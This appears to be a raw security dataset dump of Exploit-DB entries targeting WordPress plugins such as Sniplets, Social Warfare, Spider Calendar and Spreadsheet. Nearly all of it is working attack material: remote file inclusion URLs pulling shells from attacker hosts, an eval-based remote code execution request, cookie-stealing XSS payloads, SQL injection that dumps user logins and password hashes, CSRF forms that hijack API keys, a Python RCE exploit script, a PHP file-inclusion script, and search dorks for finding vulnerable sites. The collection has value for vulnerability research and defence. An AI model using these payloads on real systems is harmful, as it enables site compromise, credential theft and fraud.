deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5194
Description: WordPress Plugin Sniplets 1.1.2 - Remote File Inclusion / Cross-Site Scripting / Remote Code Execution
Type: webapps
Platform: php
Date: 2008-02-26
Author: NBBN

Exploit:
########################
Wordpress Plugin Sniplets 1.1.2 Multiple Vulnerabilities by NBBN
########################
1) Remote File Inclusion

File: /modules/syntax_highlight.php
Register Globals: ON
Vuln code:
<?php

/* Name: Syntax Highlight */
include_once ("$libpath/geshi/geshi.php");

Poc:
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?




2) Cross-Site Scripting

Register Globals: ON
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/notice.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/sniplets/inset.php?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/submenu.php?url=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3Cli%3E

Register Globals: Off

Vuln Line:(3) <input type="hidden" name="page" value="<?php echo 
$_GET['page'] ?>"/>
http://victim.tld/wordpress/wp-content/plugins/sniplets/view/admin/pager.php?page=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E


3) Remote Code Execution

Register Globals: ON
Code: 
<?php
/* Name: Execute as PHP */
if (substr ($text, 0, 4) == '<?php')
	$text = '?>'.$text;

eval ('?>'.$text);
?>

Poc: 
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);

# milw0rm.com [2008-02-26]
Exploit-DB #43484
Description: WordPress Plugin Social Media Widget by Acurax 3.2.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-01-10
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: Social Media Widget by Acurax [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://www.acurax.com/
* Software Link: https://wordpress.org/plugins/acurax-social-media-widget
* Version: 3.2.5
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements AJAX action `acx_asmw_saveorder` which calls back the
function `acx_asmw_saveorder_callback`. The later does not implement any
anti-CSRF controls thus allowing a malicious actor to perform an attack
that could update plugin specific option `social_widget_icon_array_order`.

Vulnerable param is `$_POST['recordsArray']` and it is saved as an
option with the name `social_widget_icon_array_order`.

Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will
be served when a user with the right privileges visits plugin's settings
page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).

Vulnerable code is located in file
`acurax-social-media-widget/function.php` line 993:

```
function acx_asmw_saveorder_callback() {
    global $wpdb;
    $social_widget_icon_array_order = $_POST['recordsArray'];
    if ( current_user_can( 'manage_options' ) ) {
        $social_widget_icon_array_order = serialize(
$social_widget_icon_array_order );
        update_option( 'social_widget_icon_array_order',
$social_widget_icon_array_order );
        echo "<div id='acurax_notice' align='center' style='width:
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
        echo "Social Media Icon's Order Saved";
        echo "</div><br>";
    }
    die(); // this is required to return a proper result
}

add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );

```

PoC
---

In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent
XSS attack. The payload is available in plugin's settings.

```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="acx_asmw_saveorder">
    <input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
    <button type="submit" value="Submit">Submit</button>
</form>

```

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin's vendor through the contact
form on their website
3. **2017-12-12**: Vendor replied
4. **2017-12-12**: Vendor Received Details
5. **2018-01-02**: Patch released
Exploit-DB #17617
Description: WordPress Plugin Social Slider 5.6.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-05
Author: Miroslav Stampar

Exploit:
# Exploit Title: Social Slider <= 5.6.5 SQL Injection Vulnerability
# Date: 2011-08-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/social-slider-2.zip
# Version: 5.6.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/social-slider-2/ajax.php
 action=ZapiszPozycje&rA[]=1 AND SLEEP(5)

---------------
Vulnerable code
---------------
<?php 
require_once(dirname(__FILE__).'/../../../wp-config.php');
global $wpdb, $table_prefix;

$SocialSliderArray = $_POST['rA'];

if (mysql_real_escape_string($_POST['action']) == "ZapiszPozycje")
    {
    $lC = 1;
    foreach ($SocialSliderArray as $recordIDValue)
        {
        $query = "UPDATE ".$table_prefix."socialslider SET lp = ".$lC." WHERE id = ".$recordIDValue;
        mysql_query($query);
        $lC = $lC + 1;    
        }
    }
?>
Exploit-DB #46794
Description: WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2019-05-03
Author: hash3liZer

Exploit:
# Title: RCE in Social Warfare Plugin Wordpress ( <=3D3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Reference: https://wpvulndb.com/vulnerabilities/9259?fbclid=3DIwAR2xLSnan=ccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM
# Github: https://github.com/hash3liZer/CVE-2019-9978
# Version: <=3D 3.5.2
# CVE: CVE-2019-9978

# Title: RCE in Social Warfare Plugin Wordpress ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Reference: https://wpvulndb.com/vulnerabilities/9259?fbclid=IwAR2xLSnanccqwZNqc2c7cIv447Lt80mHivtyNV5ZXGS0ZaScxIYcm1XxWXM
# Github: https://github.com/hash3liZer/CVE-2019-9978
# Version: <= 3.5.2
# CVE: CVE-2019-9978

import sys
import requests
import re
import urlparse
import optparse

class EXPLOIT:

	VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

	def __init__(self, _t, _p):
		self.target  = _t
		self.payload = _p

	def engage(self):
		uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
		r = requests.get( uri )
		if r.status_code == 500:
			print "[*] Received Response From Server!"
			rr  = r.text
			obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
			if obj:
				resp = obj.groups()[0]
				if resp:
					print "[<] Received: "
					print resp.replace( "lnbreak", "\n" )
				else:
					sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
			else:
				sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
		else:
			sys.exit( "[~] Unexpected Status Received!" )

def main():
	parser = optparse.OptionParser(  )

	parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
	parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )

	(options, args) = parser.parse_args()

	print "[>] Sending Payload to System!"
	exploit = EXPLOIT( options.target, options.payload )
	exploit.engage()

if __name__ == "__main__":
	main()
Exploit-DB #37481
Description: WordPress Plugin SocialFit - 'msg' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-06
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54320/info

SocialFit plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SocialFit 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3Cscript%3Ealert%28123%29%3C/script%3E
Exploit-DB #35475
Description: WordPress Plugin Sodahead Polls 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-17
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46902/info

Sodahead Polls is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Sodahead Polls 2.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/sodahead-polls/poll.php?customize=%27;%3C/script%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


http://www.example.com/wp-content/plugins/sodahead-polls/customizer.php?poll_id=%27%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #24364
Description: WordPress Plugin SolveMedia 1.1.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-01-25
Author: Junaid Hussain

Exploit:
# Exploit Title: WordPress SolveMedia 1.1.0 CSRF Vulnerability
# Release Date: 24/01/13
# Author: Junaid Hussain - [ illSecure Research Group ] -
# Contact: illSecResearchGroup@Gmail.com | Website: http://illSecure.com
# Software Link: http://downloads.wordpress.org/plugin/solvemedia.1.1.0.zip
# Vendor Homepage: http://solvemedia.com
# Tested on: CentOs 5
# Google Dork: inurl:wp-content/plugins/solvemedia
-----------------------------------------------------------------------------------------------------------------------
//##### Introduction: 
SolveMedia is a capatcha service that allows webmasters to monetize
from correct captcha type-ins, solvemedia.admin.inc is vulnerable to CSRF,
there is no anti-CSRF tokens implemented nor is the wp-nonce function used,
therefore an attacker can change the webmasters SolveMedia API Keys (public key, 
private key, hash key) to the attackers own set of API keys thus stealing
the webmasters SolveMedia revenue.
-------------------------------------------------------------------------------------------------------------------------
//##### CSRF - Proof Of Concept:
<html>
<form  method="post" action="http://server/wp-admin/plugins.php?page=solvemedia/solvemedia.admin.inc&updated=true">
<input name="adcopy_opt_pubkey" id="adcopy_opt_pubkey" size="40" value="[ ATTACKERS PUBLIC KEY ]" style="display:none;"/>                       
<input name="adcopy_opt_privkey" id="adcopy_opt_privkey" size="40" value="[ ATTACKERS PRIVATE KEY ]" style="display:none;"/>
<input name="adcopy_opt_hashkey" id="adcopy_opt_hashkey" size="40" value="[ ATTACKERS HASH KEY ]" style="display:none;" />
<input type="submit" name="submit" value="Enter" />	
</form>
</html>
\\##### End Poc #####
-------------------------------------------------------------------------------------------------------------------------
//##### Patch:
-- Vendor was notified on the 22/01/2013
-- Vendor released version 1.1.1 on 23/01/2013 which included a patch
--- Patched Version (1.1.1): http://wordpress.org/extend/plugins/solvemedia/
--- ChangeLog: http://wordpress.org/extend/plugins/solvemedia/changelog/
-------------------------------------------------------------------------------------------------------------------------
//##### Original: http://illSecure.com/code/Wordpress-SolveMedia-CSRF-Vulnerability.txt
Exploit-DB #37203
Description: WordPress Plugin Soundcloud Is Gold 2.1 - 'width' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53537/info

The Soundcloud Is Gold plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Soundcloud Is Gold 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin-ajax.php

POSTDATA: action=soundcloud_is_gold_player_preview&request=1&width="></iframe><script>alert(1)</script>
Exploit-DB #36576
Description: WordPress Plugin SP Project & Document Manager 2.5.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-03-31
Author: Catsecurity

Exploit:
# Exploit Title: WordPress SP Project & Document Manager 2.5.3 Blind SQL Injection
# Google Dork: inurl:wp-content/plugins/sp-client-document-manager
# Date: 2015-03-04
# Exploit Author: catsecurity
# Vendor Homepage: http://smartypantsplugins.com
# Software Link: https://downloads.wordpress.org/plugin/sp-client-document-manager.2.5.3.zip
# Version: version 2.5.3 and previous version
# Tested on: Chrome (It's PHP Application)
# CVE : N/A


# Timeline #
[2015.03.05] Reported to the Vendor
[2015.03.06?] Fixed in Update 2.5.4

 
# Details #

- This vulnerability did not process integer parameters. Unauthorized users can attact the webstites that use this plugin.
- Vulnerability code in the thumbnails() function which exists in the [ /wp-content/plugins/sp-client-document-manager/ajax.php ].
- "pid" variable is not sanitized


# Vulnerable code #

Line 1132:        echo '<div id="dlg_cdm_thumbnails">';
Line 1133:        if ($_GET['pid'] != "") {
Line 1134:            $r_current_project = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu_project  WHERE id = " . $_GET['pid'] . "", ARRAY_A);
Line 1135:        }


# POC #
/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=thumbnails&pid=[SQLi]

example:
/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=thumbnails&pid=if(substr(database(),1,1)=0x61,sleep(5),1)

if yes it will sleep 5 seconds.


This vulnerable parameters must trance to integer
Exploit-DB #35607
Description: WordPress Plugin Spellchecker 3.1 - '/general.php' Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-04-12
Author: Dr Trojan

Exploit:
source: https://www.securityfocus.com/bid/47317/info

The Spellchecker plugin for WordPress is prone to a local file-include vulnerability and a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to execute arbitrary local and remote scripts in the context of the webserver process or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

Spellchecker 3.1 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com/general.php?file=http://sitename.com/Evil.txt?

http://www.example.com/general.php?file=../../../../../../../etc/passwd
Exploit-DB #26804
Description: WordPress Plugin Spicy Blogroll - Local File Inclusion
Type: webapps
Platform: php
Date: 2013-07-13
Author: Ahlspiess

Exploit:
<?php 
// Title: Wordpress Plugin Spicy Blogroll File Inclusion Vulnerability
// Date: 12-07-2013 (GMT+8 Kuala Lumpur)
// Author: Ahlspiess
// Greetz: All TBDIAN - http://w3.tbd.my :)
// Screenshot: http://i.imgur.com/jIrUznC.png
/**
Details:
	File: /wp-content/plugins/spicy-blogroll-ajax.php
	SVN Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll-ajax.php
<?php
...
...
	$link_url = $_GET['link_url'];
	$link_text = $_GET['link_text'];
	$var2 = unscramble($_GET['var2']);
	$var3 = unscramble($_GET['var3']);
	$var4 = unscramble($_GET['var4']);
	$var5 = unscramble($_GET['var5']);
	$nonce = unscramble($_GET['var11']);
	require_once($var2.$var4); <-- Boom
...
...
*/

if(!isset($argv[3])) {
	die(sprintf("php %s <host> <path> <file>\n", $argv[0]));
}

list(,$host, $path, $file) = $argv;
$vfile = 'http://%s%s/wp-content/plugins/spicy-blogroll/spicy-blogroll-ajax.php?var2=%s&var4=%s';
$request = sprintf($vfile, $host, $path, scramble(dirname($file) . "/"), scramble(basename($file)));
$opts = array(
	'http'=>array(
		'header'		=>	"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0",
		'ignore_errors'	=>	true,
	)
);

$context = stream_context_create($opts);
echo file_get_contents($request, 0, $context);

/**
	Source: http://svn.wp-plugins.org/spicy-blogroll/trunk/spicy-blogroll.php
	Line: 386-401
*/
function scramble($text1,$rng = 1){
	$len=strlen($text1);
	$rn=$rng%2;
	$count=7;
	$seed=($rn%=2)+1;
	$text2=chr($seed+64+$rng).chr($rng+70);
	for($i=0; $i<=$len-1; $i++) {
		$seed*=-1;
		$count+=1;
		$ch=ord(substr($text1,$i,1))+$seed;
		if($ch==92){$ch.=42;}
		$text2.=chr($ch);
	if($count%5==$rn){$text2.=chr(mt_rand(97,123));}
	}
	return $text2;
}

?>
Exploit-DB #21715
Description: WordPress Plugin spider Calendar - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-03
Author: D4NB4R

Exploit:
 Exploit Title: Wordpress spider calendar Plugin Multiple Vulnerabilities

 Dork: N/A
 
 Date: [02-10-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 Vendor: http://wordpress.org/extend/plugins/spider-calendar/
 
 Version: 1.0.1
 
 License: Non-Commercial

 Demo: http://wpdemo.web-dorado.com/spider-calendar/

 Download: http://downloads.wordpress.org/plugin/spider-calendar.zip
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]

 Especial greetz:  _84kur10_, nav, dedalo, ksha, shine, p0fk, the_s41nt


Descripcion Plugin Wordpress: 

Spider Calendar is a highly configurable plugin which allows you to have multiple organized events in a calendar. This plugin is one of the best WordPress Calendar available in WordPress Directory. If you have problem with organizing your events and displaying them in a calendar format, then Spider Calendar is the best solution. Maybe you just want to have a quick look at your calendar to remind yourself about the future appointments? It will be great if calendar extension will be able to show all events, display them in a widget as a beautiful and customizable calendar on your website. Spider WordPress Calendar is an extraordinary user friendly calendar.

Exploit: 


    XSS : Cross-site scripting

           http://127.0.0.1/wp-content/plugins/Calendar/front_end/spidercalendarbig.php?calendar_id=1&cur_page_url=&date=D4NB4R'"()%26%251<ScRiPt >prompt()<%2fScRiPt>&day=01&ev_ids=1&eventID=1&theme_id=5
    
           http://127.0.0.1/wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null union all select 1,1,1,1,0x3c[PII_REDACTED]743e616c[PII_REDACTED]44344e[PII_REDACTED][PII_REDACTED]726522293c2f[PII_REDACTED]743e,1,1,1,1,1,1,1,1,1,1,1,1+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url=http://127.0.0.1/spider-calendar/
    

    SQL : SQL injection

           http://127.0.0.1//wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?theme_id=5&ev_ids=1&calendar_id=null union all select 1,1,1,1,version(),1,1,1,1,1,1,1,1,1,1,1,1+--+&date=2012-10-10&many_sp_calendar=1&cur_page_url=


    HPP : HTTP Parameter Pollution (HPP)

           http://127.0.0.1/wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?calendar_id=1&ev_ids=1&theme_id=5%26D4NB4R%3dD4NB4R >> 127.0.0.1//wp-content/plugins/Calendar/front_end/spidercalendarbig_seemore.php?calendar_id=1&ev_ids=1&theme_id=5&d4nb4r=d4nb4r

  
_____________________________________________________
Daniel Barragan "D4NB4R" 2012
Exploit-DB #39300
Description: WordPress Plugin Spider Facebook - 'facebook.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-09-07
Author: Claudio Viviani

Exploit:
source: https://www.securityfocus.com/bid/69675/info

Spider Facebook plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spider Facebook 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2
Exploit-DB #38458
Description: WordPress Plugin Spider Video Player - 'theme' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-11
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/59021/info

Spider Video Player plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spider Video Player 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/player/settings.php?playlist=[num]&theme=[SQL]
Exploit-DB #38441
Description: WordPress Plugin Spiffy XSPF Player - 'playlist_id' SQL Injection
Type: webapps
Platform: php
Date: 2013-04-10
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/58976/info

Spiffy XSPF Player plug-in for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spiffy XSPF Player 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/spiffy/playlist.php?playlist_id=[SQL]
Exploit-DB #5486
Description: WordPress Plugin Spreadsheet 0.6 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-22
Author: 1ten0.0net1

Exploit:
===========================================
There's standart sql-injection in Spreadsheet <= 0.6 Plugin
# Author : 1ten0.0net1
# Script : Wordpress Plugin Spreadsheet <= 0.6 v.
# Download : http://timrohrer.com/blog/?page_id=71
# BUG :  Remote SQL-Injection Vulnerability
# Dork : inurl:/wp-content/plugins/wpSS/
Example:
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
===========================================
Vulnerable code:
ss_load.php
    $id = $_GET['ss_id'];
....
ss_functions.php:
function ss_load ($id, $plain=FALSE) {
....
    if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....

==> Visit us @ forum.antichat.ru

# milw0rm.com [2008-04-22]